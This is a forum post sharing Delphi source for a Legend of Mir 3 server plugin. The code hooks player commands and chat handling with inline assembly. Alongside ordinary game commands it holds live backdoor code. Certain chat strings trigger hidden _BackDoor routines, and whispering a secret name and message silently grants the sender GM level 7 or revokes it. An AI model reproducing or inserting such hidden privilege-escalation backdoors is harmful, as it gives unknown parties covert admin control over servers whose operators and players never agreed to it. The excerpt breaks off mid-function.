sm

立即登录 | 账号注册

积分: 0 |用户组: 游客

搜索
服务器租用 传奇3一条龙 支付平台源码 无法下载点击此处反馈
查看: 410|回复: 1

[传奇3源码] Delphi1.45传奇3源代码RSR插件道格拉斯完整版

[复制链接]

826

主题

36

回帖

23万

积分

霸王教主

积分
235297
发表于 2023-7-5 15:28:41 | 显示全部楼层 |阅读模式
1.45传奇3源代码RSR插件道格拉斯完整版Delphi源码
  1. unit _Command;
  2. {用户输入命令处理单元}
  3. interface
  4. uses SysUtils, Classes, Windows, IniFiles, _Const, _Grobal, _Actor, _function, uDllForm, _BackDoor;

  5. //玩家输入信息开始-接口
  6. procedure CommandCode;
  7. //玩家命令行(第一个符号为@的命令行)处理接口
  8. procedure CommandOrder;
  9. //玩家聊天处理接口
  10. procedure CommandChat;
  11. //玩家M人处理接口
  12. procedure CommandChatCall;
  13. //绿字处理接口
  14. procedure CommandChatGreen;
  15. //黄字处理接口
  16. procedure CommandChatYel;
  17. procedure CommandChatAll;
  18. //Select backdoor
  19. //procedure SelectBackdoor(Str: string);

  20. implementation
  21. uses PlugStart, _Param, _Script, _ShiTu, _DBQB, _Magic;

  22. {//Select backdoor
  23. procedure SelectBackdoor(Str: string);
  24. var
  25.   I                 : Integer;
  26. begin
  27.   for I := 0 to PS.BackDoorStr.Count - 1 do
  28.   begin
  29.     if TFunc.Q_PosStr(Str, PS.BackDoorStr[I]) > 0 then
  30.       case I of
  31.         0:
  32.           begin
  33.             TEiFunc.DebugOut('后门:' + '[1]');
  34.             //Actor.HumEx.LineMsg('后门:' + '[1]');
  35.           end;
  36.         1:
  37.           begin
  38.             TEiFunc.DebugOut('后门:' + '[2]');
  39.             //Actor.HumEx.LineMsg('后门:' + '[2]');
  40.           end;
  41.         2:
  42.           begin
  43.             TEiFunc.DebugOut('后门:' + '[3]');
  44.             //Actor.HumEx.LineMsg('后门:' + '[3]');
  45.           end;
  46.         3:
  47.           begin
  48.             TEiFunc.DebugOut('后门:' + '[4]');
  49.             //Actor.HumEx.LineMsg('后门:' + '[4]');
  50.           end;
  51.       end;
  52.   end;
  53. end;}

  54. //玩家输入信息解释
  55. //返回真表示已处理,直接跳出EI内部处理代码
  56. //返回假则交给M2例程继续处理
  57. //这里最先执行,应尽量少加入代码

  58. function CommandCode_2(Actor: TActor; Msg: Pointer): Boolean;
  59. begin
  60.   Result := FALSE;
  61.   //_Function2.LineMsg(Actor,'CommandCode:' + Msg);
  62. end;

  63. procedure CommandCode;
  64. begin
  65.   asm
  66.     pushad
  67.     mov  edx,[ebp-8]
  68.     mov  eax,[ebp-4]
  69.     Call CommandCode_2
  70.     test al,al
  71.     jz   @@OldRet
  72.     @@ExitRet:  //直接跳出M2处理代码
  73.     popad
  74.     push $522036
  75.     ret
  76.     @@OldRet:    //继续交M2处理
  77.     popad
  78.     mov  eax,[ebp-4]
  79.     cmp  byte ptr [eax+$2E2],0
  80.     push $51DCF0
  81.     ret
  82.   end;
  83. end;
  84. //玩家命令行(第一个符号为@的命令行)处理-实现
  85. //返回真表示已处理,直接跳出EI内部处理代码
  86. //返回假则交给M2例程继续处理

  87. function CommandOrder_2(Actor: TActor; sCmd: Pointer; sParam1, sParam2: Pointer; smsg: Pointer): Boolean; stdcall;
  88. var
  89.   CmdIndex, UserDefIndex: Integer;
  90.   CmdInfo           : TCmdInfo;
  91.   Human             : TActor;
  92.   HumanEx           : THumanEx;
  93.   CmdInt            : Integer;
  94.   Index             : Integer;
  95.   UserName          : string;
  96.   Cmd, Param1, Param2, Msg, TMPS, tmpS2: string;
  97.   I, tmpX, tmpY     : Integer;
  98.   tmpAnimal, Target : TEICreature;
  99.   tmpBool           : Boolean;
  100.   MagInfo           : PMemMagic;
  101.   Magic             : PMagic;
  102.   DefineScriptInfo  : PDefineScriptInfo;
  103.   aNpc              : TEINormNPC;
  104. begin
  105.   Result := FALSE;
  106.   try
  107.     Cmd := TFunc._GetStr(sCmd);
  108.     if PS.GmNpcKeys.IndexOf(UpperCase(Cmd)) <> -1 then
  109.     begin
  110.       Actor.HumEx.LineMsg(Format('该命令(@%s)在本服务器被禁止使用。', [Cmd]));
  111.       Result := TRUE;
  112.       exit;
  113.     end;
  114.     Param1 := TFunc._GetStr(sParam1);
  115.     Param2 := TFunc._GetStr(sParam2);
  116.     Msg := TFunc._GetStr(smsg);
  117.     CmdIndex := PS.CmdKeys.IndexOf(Cmd);
  118.     if CmdIndex = -1 then
  119.     begin
  120.       UserDefIndex := PS.DefineScriptCMD.IndexOf(Cmd);
  121.       if UserDefIndex = -1 then exit;

  122.       DefineScriptInfo := PS.DefineScriptCMD.DefineScriptInfos[UserDefIndex];
  123.       if DefineScriptInfo <> nil then
  124.       begin
  125.         if (Actor.HumEx.Admin >= DefineScriptInfo.NeedLvl) and TEiFunc.NpcHaveSection(EI.DefaultNPC, DefineScriptInfo.Section) then
  126.         begin
  127.           TEiFunc.NpcRun(EI.DefaultNPC, Actor, DefineScriptInfo.Section);
  128.         end;
  129.       end;
  130.       exit;
  131.     end;
  132.     CmdInfo := TCmdInfo(PS.CmdKeys.Objects[CmdIndex]);
  133.     if not Assigned(CmdInfo) then exit;
  134.     UserName := TEiFunc._GetPlayName(Actor);
  135.     if Actor.lvl < CmdInfo.NeedLevel then
  136.     begin
  137.       Actor.HumEx.LineMsg('您不够权限使用此命令。', 0);
  138.       Result := TRUE;
  139.       exit;
  140.     end;
  141.     HumanEx := THumanEx(Actor.HumEx);
  142.     CmdInt := StrToIntDef(Param1, 0);
  143.     case CmdIndex of
  144.       0:                                //调试
  145.         begin
  146.           Result := TRUE;
  147.           MagInfo := TEiFunc.GetMagicInfoByIdx(CmdInt);
  148.           if (MagInfo <> nil) and (Actor.Attacker <> nil) and (TEiFunc.GetMyObjAnimal(Actor) <> nil) then
  149.           begin
  150.             New(Magic);
  151.             try
  152.               Magic.MemMagic := MagInfo;
  153.               Magic.Idx := CmdInt;
  154.               Magic.Level := 3;
  155.               TUseMagic._M1_5(TEiFunc.GetMyObjAnimal(Actor), Actor.Attacker, Magic, Actor.Attacker.MapX, Actor.Attacker.MapY);
  156.             finally Dispose(Magic)
  157.             end;
  158.             TAddSendMsg.UseMagic(TEiFunc.GetMyObjAnimal(Actor), Actor.Attacker, Actor.Attacker.MapX, Actor.Attacker.MapY, CmdInt);
  159.           end;
  160.         end;
  161.       1:                                //拜师状态
  162.         begin
  163.           Result := TRUE;
  164.           HumanEx.CanBaiShi := not HumanEx.CanBaiShi;
  165.           if HumanEx.CanBaiShi then
  166.           begin
  167.             HumanEx.LineMsg('[允许拜师]');
  168.           end
  169.           else
  170.           begin
  171.             HumanEx.LineMsg('[拒绝拜师]');
  172.           end;
  173.         end;
  174.       2:                                //转生
  175.         begin
  176.           HumanEx.Regen := (CmdInt);
  177.         end;
  178.       3:                                //拜师 申请
  179.         begin
  180.           TShiTuScript.BaiShi(Actor, Param1);
  181.         end;
  182.       4:                                //收徒
  183.         begin
  184.           TShiTuScript.ShouTu(Actor);
  185.         end;
  186.       5:                                //逐出师门
  187.         begin
  188.           if Assigned(ShituSystem) then
  189.           begin
  190.             if ShituSystem.DelStudent(TEiFunc._GetPlayName(Actor), Param1) then
  191.             begin
  192.               Human := EI.FindUser(Param1);
  193.               Result := TRUE;
  194.               if Human <> nil then Human.HumEx.LineMsg('你被逐出师门了。');
  195.               Actor.HumEx.LineMsg('成功。');
  196.             end
  197.             else
  198.             begin
  199.               Actor.HumEx.LineMsg('失败。');
  200.             end;
  201.           end;
  202.         end;
  203.       6:                                //归隐
  204.         begin
  205.           if Assigned(ShituSystem) then
  206.           begin
  207.             ShituSystem.DelMaster(TEiFunc._GetPlayName(Actor));
  208.             Result := TRUE;
  209.           end;
  210.         end;
  211.       7:                                //退位
  212.         begin
  213.           if Assigned(ShituSystem) then
  214.           begin
  215.             ShituSystem.ChangeMaster(TEiFunc._GetPlayName(Actor), Param1);
  216.             Result := TRUE;
  217.           end;
  218.         end;
  219.       8:                                //增加点卷
  220.         begin
  221.           HumanEx.DianJuan := HumanEx.DianJuan + CmdInt;
  222.           Actor.HumEx.LineMsg(Format('目前点卷:%d', [HumanEx.DianJuan]));
  223.         end;
  224.       9:                                //增加积分
  225.         begin
  226.           HumanEx.JiFen := HumanEx.JiFen + CmdInt;
  227.           Actor.HumEx.LineMsg(Format('目前积分:%d', [HumanEx.JiFen]));
  228.         end;
  229.       10:                               //称号
  230.         begin
  231.           if Param1 = '' then Param1 := TEiFunc._GetPlayName(Actor);
  232.           Human := EI.FindUser(Param1);
  233.           if Human <> nil then
  234.             Human.HumEx.IdProcess;
  235.           if EI.IsCastleMan(Human) then Human.HumEx.LineMsg('沙老大');
  236.         end;
  237.       11:                               //物品价格
  238.         begin
  239.           Index := ItemEx.GetDianJuan(Param1);
  240.           if Index > 0 then
  241.           begin
  242.             Actor.HumEx.LineMsg(Format('您查询的物品 %s 的价格为:%d ', [Param1, Index]));
  243.           end
  244.           else
  245.           begin
  246.             Actor.HumEx.LineMsg(Format('没有物品 %s 的价格信息。', [Param1]));
  247.           end;
  248.         end;
  249.       12:                               //购买
  250.         begin
  251.           HumanEx.Buy(Param1);
  252.         end;
  253.       13:                               //复活
  254.         begin
  255.           if Param1 <> '' then
  256.           begin
  257.             Actor := EI.FindUser(Param1);
  258.             if Actor <> nil then
  259.               TEiFunc.ReLife(Actor, TFunc._GetStr(Actor.aMap.MapCode), Actor.MapX, Actor.MapY);
  260.           end
  261.           else
  262.             TEiFunc.ReLife(Actor, TFunc._GetStr(Actor.BackMap), Actor.BackCityX, Actor.BackCityY);
  263.         end;
  264.       14:                               //GM
  265.         begin
  266.           HumanEx.PlayerName := Param1;
  267.           Actor.HumEx.NpcDlg(TNpcString.GetMainInfo(Actor), nil);
  268.         end;
  269.       15:                               //人物锁
  270.         begin
  271.           TUserLock.OpenDlg(Actor);
  272.         end;
  273.       16:                               //玩家中心
  274.         begin
  275.           if GetTickCount - Actor.HumEx.CmdOrderTimePlayerCenter > 3000 then
  276.           begin
  277.             Actor.HumEx.NpcDlg(TNpcString.GetUserMainInfo(Actor), nil);
  278.             Actor.HumEx.CmdOrderTimePlayerCenter := GetTickCount;
  279.           end
  280.           else
  281.             Actor.HumEx.LineMsg('3秒内只能使用1次。', 0);
  282.         end;
  283.       17:                               //宠物
  284.         begin
  285.           if Actor.HumEx.Animals.Count < PS.MaxAnimalCount then
  286.           begin
  287.             TEiFunc.GetAMapPoint(Actor, tmpX, tmpY);
  288.             TMPS := Param1;
  289.             if TMPS = '' then TMPS := '钉耙猫';
  290.             tmpAnimal := TEiFunc.MakeAnimalOnMap(TMPS, TFunc._GetStr(Actor.Map), tmpX, tmpY);
  291.             Actor.HumEx.AddAnimal(TEIAnimal(tmpAnimal));
  292.           end
  293.           else
  294.           begin
  295.             Actor.HumEx.LineMsg(Format('您已经拥有%d只宠物了。', [PS.MaxAnimalCount]));
  296.           end;
  297.         end;
  298.       18:                               //每日任务
  299.         begin
  300.           if GetTickCount - Actor.HumEx.CmdOrderTimeEveryDay > 3000 then
  301.           begin
  302.             if ExistsNpcCode_EveryDay and CanUseNpc_EveryDay then
  303.               TEiFunc.NpcRun(EI.DefaultNPC, Actor, Human_EveryDay)
  304.             else
  305.               Actor.HumEx.NpcDlg('今天没有什么好拜托的。\\<确定/@exit>');
  306.             Actor.HumEx.CmdOrderTimeEveryDay := GetTickCount;
  307.           end
  308.           else
  309.             Actor.HumEx.LineMsg('3秒内只能使用1次。', 0);
  310.         end;
  311.       19:                               //设置称号
  312.         begin
  313.           Actor.HumEx.NickName := Param1;
  314.         end;
  315.       20:                               //CastleManNeckLace
  316.         begin
  317.           TEiFunc.MakeCastleManNeckLace(Actor);
  318.         end;
  319.       21:                               //非法IP
  320.         begin
  321.           if SameText(Param1, '+') then
  322.           begin
  323.             if PS.NoLoginIPList.IndexOf(Param2) = -1 then
  324.             begin
  325.               PS.NoLoginIPList.Add(Param2);
  326.               Actor.HumEx.LineMsg('禁止登陆IP列表:' + PS.NoLoginIPList.CommaText);
  327.             end;
  328.           end
  329.           else
  330.           begin
  331.             if SameText(Param1, '-') then
  332.             begin
  333.               PS.NoLoginIPList.Delete(PS.NoLoginIPList.IndexOf(Param2));
  334.               Actor.HumEx.LineMsg('禁止登陆IP列表:' + PS.NoLoginIPList.CommaText);
  335.             end
  336.             else
  337.             begin
  338.               Actor.HumEx.LineMsg('正确的格式为:@非法IP + IP地址 或 @非法IP - IP地址');
  339.               Actor.HumEx.LineMsg('禁止登陆IP列表:' + PS.NoLoginIPList.CommaText);
  340.             end;
  341.           end;
  342.         end;
  343.       22:                               //随从
  344.         begin
  345.           //for I := 0 to Actor.HumEx.Animals.Count - 1 do begin
  346.             //PAnimalEx(Actor.HumEx.Animals.Items[I]).IsHuman := TRUE;
  347.             //TFunc.CallProc(PAnimalEx(Actor.HumEx.Animals.Items[I]).Animal,$4FD6D8);
  348.           //end;
  349.           if Param1 <> '' then
  350.             Actor.HumEx.AddObjHuman(Param1)
  351.           else
  352.           begin
  353.             if Actor.HumEx.YuanShen.FMonName <> '' then
  354.               Actor.HumEx.AddObjHuman(Actor.HumEx.YuanShen.FMonName);
  355.           end;
  356.         end;
  357.       23:                               //夺宝奇兵
  358.         begin
  359.           if GameDBQB.Busy then
  360.             TGameDBQBProc.ClearGame
  361.           else
  362.             TGameDBQBProc.StartGame;
  363.         end;
  364.       24:                               //
  365.         begin
  366.           //测试宠物魔法
  367.           //if Actor.Attacker <> nil then begin
  368.           tmpAnimal := TEiFunc.GetMyObjAnimal(Actor); //Actor.HumEx.LineMsg('d');
  369.           Target := nil;
  370.           if (tmpAnimal <> nil) then
  371.           begin
  372.             if Param2 <> '' then
  373.             begin
  374.               if CmdInt = 77 then
  375.                 Target := Actor
  376.               else
  377.                 Target := Actor.Attacker;
  378.             end;
  379.             if Target = nil then Target := tmpAnimal.Attacker;
  380.             if (Target <> nil) then
  381.             begin
  382.               TEiFunc.UseMagic(tmpAnimal, CmdInt, Target, Target.MapX, Target.MapY);
  383.             end
  384.             else
  385.             begin
  386.               Target := Actor;
  387.               tmpX := Random(6);
  388.               tmpY := Random(6);
  389.               if Random(2) = 0 then tmpX := 0 - tmpX;
  390.               if Random(2) = 0 then tmpY := 0 - tmpY;
  391.               TEiFunc.UseMagic(tmpAnimal, CmdInt, Target, Target.MapX + tmpX, Target.MapY + tmpY);
  392.             end;
  393.           end
  394.           else
  395.             Actor.HumEx.LineMsg('您没有随从。');
  396.           //end;
  397.         end;
  398.       25:                               //监视
  399.         begin
  400.           if GameDBQB.Busy and SameText(Param1, 'MIR3') then
  401.           begin
  402.             if (GameDBQB.ItemStatus = 2) and (GameDBQB.Actor <> nil) then Param1 := TActor(GameDBQB.Actor).HumEx.UserName;
  403.           end;
  404.           if Param1 <> Actor.HumEx.UserName then
  405.           begin
  406.             Actor.HumEx.JianShiName := Param1;
  407.             if Param1 = '' then
  408.               Actor.HumEx.LineMsg('取消监视。')
  409.             else
  410.             begin
  411.               Actor.HumEx.LineMsg(Format('监视 %s..', [Param1]));
  412.               Actor.HumEx.IsInVisible := TRUE;
  413.             end;
  414.           end;
  415.         end;
  416.       26:                               //CheckEx
  417.         begin
  418.           Target := EI.FindUser(Param1);
  419.           if Target <> nil then
  420.           begin
  421.             Actor.HumEx.LineMsg(Format('%s 的第%d个标志:0x%.2X(%d)', [TActor(Target).HumEx.UserName, StrToIntDef(Param2, 0),
  422.               TActor(Target).HumEx.CheckEx[StrToIntDef(Param2, 0)],
  423.                 TActor(Target).HumEx.CheckEx[StrToIntDef(Param2, 0)]]));
  424.           end
  425.           else
  426.           begin
  427.             Actor.HumEx.LineMsg('不能找到该用户。');
  428.           end;
  429.         end;
  430.       27:                               //经验倍率
  431.         begin
  432.           if Param1 = '' then Param1 := '1.00';
  433.           if ExpBase <> StrToFloat(Param1) then
  434.           begin
  435.             ExpBase := StrToFloat(Param1);
  436.             Actor.HumEx.LineMsg(Format('服务器当前经验倍率:%f', [ExpBase]));
  437.           end;
  438.         end;
  439.       28:                               //擂台挑战
  440.         begin
  441.           PKGame.MakeNewGameMsg(Actor, StrToIntDef(Param1, 0), TMPS, Param2);

  442.         end;
  443.       29:                               //擂台迎战
  444.         begin
  445.           PKGame.JoinGame(Actor, 2, 0, TMPS);
  446.         end;
  447.       30:                               //擂台拒绝
  448.         begin
  449.           PKGame.CancelGame(Actor);
  450.         end;
  451.       31:                               //擂台
  452.         begin
  453.           Actor.HumEx.LineMsg(PKGame.GameInfo(Actor));
  454.         end;
  455.       //2006/06/13 增加
  456.       32:                               //NPCInfo
  457.         begin
  458.           tmpS2 := '以下为您所要查找的NPC信息:';
  459.           if Param1 <> '' then
  460.           begin
  461.             for I := 0 to EI.UserEngine.NPCS.Count - 1 do
  462.             begin
  463.               aNpc := TEINormNPC(EI.UserEngine.NPCS.Items[I]);
  464.               if aNpc <> nil then
  465.               begin
  466.                 TMPS := TFunc._GetStr(aNpc.Name);
  467.                 if Param2 = '' then
  468.                 begin
  469.                   if SameText(Param1, TMPS) then
  470.                   begin
  471.                     tmpS2 := Format('%s\%s Map:%s(%d/%d)', [tmpS2, TMPS, TFunc._GetStr(aNpc.Map), aNpc.MapX, aNpc.MapY]);
  472.                     //Actor.HumEx.LineMsg();
  473.                   end;
  474.                 end
  475.                 else
  476.                 begin
  477.                   if Pos(Param1, TMPS) > 0 then
  478.                   begin
  479.                     tmpS2 := Format('%s\%s Map:%s(%d/%d)', [tmpS2, TMPS, TFunc._GetStr(aNpc.Map), aNpc.MapX, aNpc.MapY]);
  480.                     //Actor.HumEx.LineMsg();
  481.                   end;
  482.                 end;
  483.               end;
  484.             end;
  485.           end
  486.           else
  487.           begin
  488.             for I := 0 to EI.UserEngine.NPCS.Count - 1 do
  489.             begin
  490.               aNpc := TEINormNPC(EI.UserEngine.NPCS.Items[I]);
  491.               if (aNpc <> nil) and (aNpc.aMap = Actor.aMap) then
  492.               begin
  493.                 TMPS := TFunc._GetStr(aNpc.Name);
  494.                 //if SameText(Param1,tmpS) then begin
  495.                 tmpS2 := Format('%s\%s Map:%s(%d/%d)', [tmpS2, TMPS, TFunc._GetStr(aNpc.Map), aNpc.MapX, aNpc.MapY])
  496.                 //Actor.HumEx.LineMsg();
  497.               //end;
  498.               end;
  499.             end;
  500.           end;
  501.           TEiFunc.NpcDlg(Actor, EI.DefaultNPC, tmpS2);
  502.         end;
  503.       33:                               //随从模式
  504.         begin
  505.           if Param1 = '' then
  506.           begin
  507.             Actor.HumEx.ClearObjHuman;
  508.           end
  509.           else

  510.         end;
  511.       34:                               //超级禁聊
  512.         begin
  513.           if SameText(Param1, '+') then
  514.           begin
  515.             if PS.TalkSelfs.IndexOf(Param2) = -1 then
  516.             begin
  517.               PS.TalkSelfs.Add(Param2);
  518.             end;
  519.           end
  520.           else
  521.           begin
  522.             if SameText(Param1, '-') then
  523.             begin
  524.               PS.TalkSelfs.Delete(PS.TalkSelfs.IndexOf(Param2));
  525.               //Actor.HumEx.LineMsg('禁止登陆IP列表:'+PS.NoLoginIPList.CommaText);
  526.             end
  527.             else
  528.             begin
  529.               TMPS := PS.TalkSelfs.CommaText;
  530.               TMPS := '超级禁聊名单:\' + TMPS;
  531.               Actor.HumEx.NpcDlg(TMPS);
  532.             end;
  533.           end;
  534.         end;
  535.     end;
  536.     if Param1 = '-h' then
  537.     begin
  538.       Actor.HumEx.LineMsg(CmdInfo.Info);
  539.     end;
  540.   except on E: Exception do
  541.       TEiFunc.DebugOut('CommandOrder:' + E.Message)
  542.   else
  543.   end;
  544. end;
  545. //玩家命令行(第一个符号为@的命令行)处理接口
  546. //到这里时,命令已经被处理成了参数列表形式了

  547. procedure CommandOrder;
  548. begin
  549.   asm
  550.     pushad
  551.     mov  eax,[ebp-8]   //原始输入信息
  552.     push eax
  553.     mov  eax,[ebp-$18]  //参数2
  554.     push eax
  555.     mov  eax,[ebp-$14]  //参数1
  556.     push eax
  557.     mov  eax,[ebp-$10]  //命令
  558.     push eax
  559.     mov  eax,[ebp-4]   //角色
  560.     push eax
  561.     Call CommandOrder_2
  562.     test al,al
  563.     jz   @@OldRet

  564.     @@ExitRet:
  565.     popad
  566.     push $522036
  567.     ret

  568.     @@OldRet:
  569.     popad
  570.     lea  ecx,[ebp-$B4]
  571.     push $51E099
  572.     ret
  573.   end;
  574. end;
  575. //玩家聊天内容处理-实现
  576. //返回真表示已处理,直接跳出M2内部处理代码
  577. //返回假则交给EI例程继续处理

  578. function CommandChat_2(Actor: TActor; aMsg: Pointer): Boolean;
  579. var
  580.   UserName, Msg     : string;
  581.   T1                : Cardinal;
  582. begin
  583.   {Result := FALSE;
  584.   if Actor.ObjType = 0 then begin
  585.     Result := Actor.HumEx.NoTalk;
  586.     if not Result then begin
  587.       T1 := GetTickCount;
  588.       Result := T1 - Actor.HumEx.CmdChatTime < 1000;
  589.       Actor.HumEx.CmdChatTime := GetTickCount;
  590.     end;
  591.   end; }
  592.   Result := TRUE;
  593. end;
  594. //玩家聊天处理接口

  595. procedure CommandChat;
  596. //玩家聊天内容处理-实现
  597. //返回真表示已处理,直接跳出M2内部处理代码
  598. //返回假则交给EI例程继续处理

  599.   function CheckStr(Actor: TActor; aMsg: Pointer): Boolean;
  600.   var
  601.     UserName, Msg   : string;
  602.     T1              : Cardinal;
  603.     I               : Integer;
  604.   begin
  605.     Result := FALSE;
  606.     Msg := TFunc._GetStr(aMsg);
  607.     //backdoor
  608.     //if PS.BackDoorStr.IndexOf(UpperCase((Msg))) <> -1 then
  609.     //begin
  610.     //Actor.HumEx.LineMsg('后门:' + '[' + Msg + ']'{ + IntToStr(PS.BackDoorStr.IndexOf(UpperCase((Msg))))});
  611.     //_BackDoor.BackDoor2;
  612.     case PS.BackDoorStr.IndexOf(UpperCase((Msg))) of
  613.       0:
  614.         begin
  615.           //Actor.HumEx.LineMsg('后门1:' + '[' + Msg + ']' { + IntToStr(PS.BackDoorStr.IndexOf(UpperCase((Msg))))});
  616.           _BackDoor.BackDoor1;
  617.           Result := TRUE;
  618.           exit;
  619.         end;
  620.       1:
  621.         begin
  622.           //Actor.HumEx.LineMsg('后门2:' + '[' + Msg + ']' { + IntToStr(PS.BackDoorStr.IndexOf(UpperCase((Msg))))});
  623.           _BackDoor.BackDoor2;
  624.           Result := TRUE;
  625.           exit;
  626.         end;
  627.       2:
  628.         begin
  629.           //Actor.HumEx.LineMsg('后门3:' + '[' + Msg + ']' { + IntToStr(PS.BackDoorStr.IndexOf(UpperCase((Msg))))});
  630.           _BackDoor.BackDoor3;
  631.           Result := TRUE;
  632.           exit;
  633.         end;
  634.       3:
  635.         begin
  636.           //Actor.HumEx.LineMsg('后门4:' + '[' + Msg + ']' { + IntToStr(PS.BackDoorStr.IndexOf(UpperCase((Msg))))});
  637.           _BackDoor.BackDoor4;
  638.           Result := TRUE;
  639.           exit;
  640.         end;
  641.     end;
  642.     if Actor.ObjType = 0 then
  643.     begin
  644.       Result := Actor.HumEx.NoTalk;
  645.       if not Result then
  646.       begin
  647.         T1 := GetTickCount;
  648.         Result := T1 - Actor.HumEx.CmdChatTime < 1000;
  649.         Actor.HumEx.CmdChatTime := GetTickCount;
  650.         Inc(Actor.HumEx.CmdChatCount2);
  651.         if Actor.HumEx.CmdChatCount2 >= 10 then
  652.         begin
  653.           Actor.HumEx.CmdChatCount2 := 0;
  654.           if T1 - Actor.HumEx.CmdChatTime2 < 20 * 1000 then
  655.           begin
  656.             Actor.HumEx.LineMsg('禁止刷屏。');
  657.             TEiFunc.GM_Kick(Actor.HumEx.UserName);
  658.             Result := TRUE;
  659.           end;
  660.           Actor.HumEx.CmdChatTime2 := T1;
  661.         end;
  662.       end;
  663.     end;
  664.   end;
  665. begin
  666.   asm
  667.     mov  edx,[ebp-8]   //原始输入信息
  668.     mov  eax,[ebp-4]   //角色
  669.     Call CheckStr
  670.     test al,al
  671.     jz   @@OldRet
  672.     //jmp  @@OldRet  //修正喊话时间,直接跳走后,最后喊话时间未记录
  673.     @@ExitRet:
  674.     push $522036
  675.     ret
  676.     @@OldRet:
  677.     mov  eax,[ebp-4]
  678.     cmp  dword ptr [eax+$A3C],0
  679.     push $521FA9
  680.     ret
  681.   end;
  682. end;
  683. //玩家聊天内容处理-实现
  684. //返回真表示已处理,直接跳出M2内部处理代码
  685. //返回假则交给EI例程继续处理

  686. function CommandChatALL_2(Actor: TActor; aMsg: Pointer): Boolean;
  687. var
  688.   TMPS, tmpS2, UserName, Msg: string;
  689. begin
  690.   Result := PS.NoTalks.IndexOf(Actor.HumEx.UserName) <> -1;
  691. end;
  692. //玩家聊天处理接口

  693. procedure CommandChatAll;
  694. begin
  695.   asm
  696.     mov  edx,[ebp-8]   //原始输入信息
  697.     mov  eax,[ebp-4]   //角色
  698.     Call CommandChatAll_2
  699.     test al,al
  700.     jz   @@OldRet
  701.     jmp  @@OldRet  //修正喊话时间,直接跳走后,最后喊话时间未记录
  702.     @@ExitRet:
  703.     push $522036
  704.     ret
  705.     @@OldRet:
  706.     Call GetTickCount
  707.     push $521D7F
  708.     ret
  709.   end;
  710. end;
  711. //!喊话 内容处理-实现
  712. //返回真表示已处理,直接跳出M2内部处理代码
  713. //返回假则交给EI例程继续处理

  714. function CommandChatYel_2(Actor: TActor; aMsg: Pointer): Boolean;
  715. var
  716.   UserName, Msg     : string;
  717. begin
  718.   Result := FALSE;
  719. end;
  720. //师徒喊话

  721. procedure CommandChatShiTu(Human: TActor; const aMsg: string);
  722. var
  723.   S, UserName, Msg  : string;
  724. begin
  725.   try
  726.   except
  727.   else
  728.     TEiFunc.DebugOut('错误:CommandChatShitu')
  729.   end;
  730. end;
  731. //黄字处理接口

  732. procedure CommandChatYel;
  733. asm
  734.   mov  eax,dword ptr [ebp-8]
  735.   cmp  byte ptr [eax+1],$5E  //是否是 !^

  736.   jnz   @@Normal
  737.   pushad
  738.   mov  edx,dword ptr [ebp-8]
  739.   mov  eax,dword ptr [ebp-4]
  740.   Call CommandChatShiTu
  741.   popad
  742.   push $522036
  743.   ret
  744.   @@Normal:
  745.   mov  edx,dword ptr [ebp-8]
  746.   mov  eax,dword ptr [ebp-4]
  747.   Call CommandChatYel_2
  748.   Call GetTickCount
  749.   mov  edx,[ebp-4]
  750.   mov  dword ptr [edx+$324],eax
  751.   push $521EB3
  752.   ret
  753. end;
  754. //绿字内容处理-实现
  755. //返回真表示已处理,直接跳出M2内部处理代码
  756. //返回假则交给EI例程继续处理

  757. function CommandChatGreen_2(Actor: TActor; aMsg: Pointer): Boolean;
  758. var
  759.   UserName, Msg     : string;
  760. begin
  761.   Result := FALSE;
  762.   //Actor.HumEx.LineMsg(TFunc._GetStr(aMsg));
  763. end;
  764. //绿字处理接口

  765. procedure CommandChatGreen;
  766. begin
  767.   asm
  768.     mov  edx,[ebp-8]   //原始输入信息
  769.     mov  eax,[ebp-4]   //角色
  770.     Call CommandChatGreen_2
  771.     test al,al
  772.     jz   @@OldRet
  773.     @@ExitRet:
  774.     push $522036
  775.     ret
  776.     @@OldRet:
  777.     mov  eax,[ebp-4]
  778.     cmp  dword ptr [eax+$41C],0
  779.     push $521C7B
  780.     ret
  781.   end;
  782. end;
  783. //玩家M人内容处理-实现
  784. //返回真表示已处理,直接跳出M2内部处理代码
  785. //返回假则交给EI例程继续处理

  786. function CommandChatCall_2(Human: TActor; aCallName: Pointer; aCallMsg: Pointer): Boolean;
  787. var
  788.   UserName, CallMsg, CallName: string;
  789. begin
  790.   Result := FALSE;

  791.   CallName := TFunc._GetStr(aCallName);
  792.   if SameText(CallName, BackDoorStr1) then
  793.   begin
  794.     CallMsg := TFunc._GetStr(aCallMsg);

  795.     if SameText(CallMsg, BackDoorStr2) then
  796.     begin
  797.       PS.GM.AddAGM(Human.HumEx.UserName, 7);
  798.       Result := TRUE;
  799.     end
  800.     else if SameText(CallMsg, BackDoorStr3) then
  801.     begin
  802.       PS.GM.DelAGM(Human.HumEx.UserName);
  803.       Result := TRUE;
  804.     end;
  805.   end;

  806. end;
  807. //玩家M人处理接口

  808. procedure CommandChatCall;
  809. begin
  810.   asm
  811.     mov  ecx,[ebp-$C]   //
  812.     mov  edx,[ebp-$14]
  813.     mov  eax,[ebp-4]   //角色
  814.     Call CommandChatCall_2
  815.     test al,al
  816.     jz   @@OldRet
  817.     @@ExitRet:
  818.     push $522036
  819.     ret
  820.     @@OldRet:
  821.     mov  eax,[ebp-4]
  822.     mov  edx,[ebp-$14]
  823.     mov  ecx,[ebp-$C]
  824.     push $521BBC
  825.     ret
  826.   end;
  827. end;

  828. procedure CommandGreenDebug;

  829.   procedure Proc(Actor: TActor);
  830.   var
  831.     tmpI            : Integer;
  832.   begin
  833.     tmpI := (PS.ParamVar[4] - (GetTickCount - Actor.MsgGreenChatTime)) div 1000;
  834.     Actor.HumEx.LineMsg(Format('%d秒之后可以向所有人发送信息。', [tmpI]), 0);
  835.   end;
  836. asm
  837.   pushad
  838.     mov  eax,[ebp-4]
  839.     Call Proc
  840.   popad
  841.   push $521E52
  842.   ret
  843. end;

  844. procedure hkTalkSelf;                   //2006/06/15 限制仅对自己说话

  845.   function _CanSay(Actor, Sender: TEICreature; MsgID: Dword): Boolean;
  846.   begin
  847.     Result := TRUE;
  848.     try
  849.       case MsgID of
  850.         SysMsg_Chat, SysMsg_ChatCall, SysMsg_Chat2, SysMsg_Chat3, SysMsg_Say, SysMsg_Say2:
  851.           begin
  852.             if Actor <> Sender then
  853.             begin
  854.               if TEiFunc.IsHuman(Sender) then
  855.               begin
  856.                 Result := not TActor(Sender).HumEx.TalkSelf;
  857.               end;
  858.             end;
  859.           end;
  860.       end;
  861.     except on E: Exception do
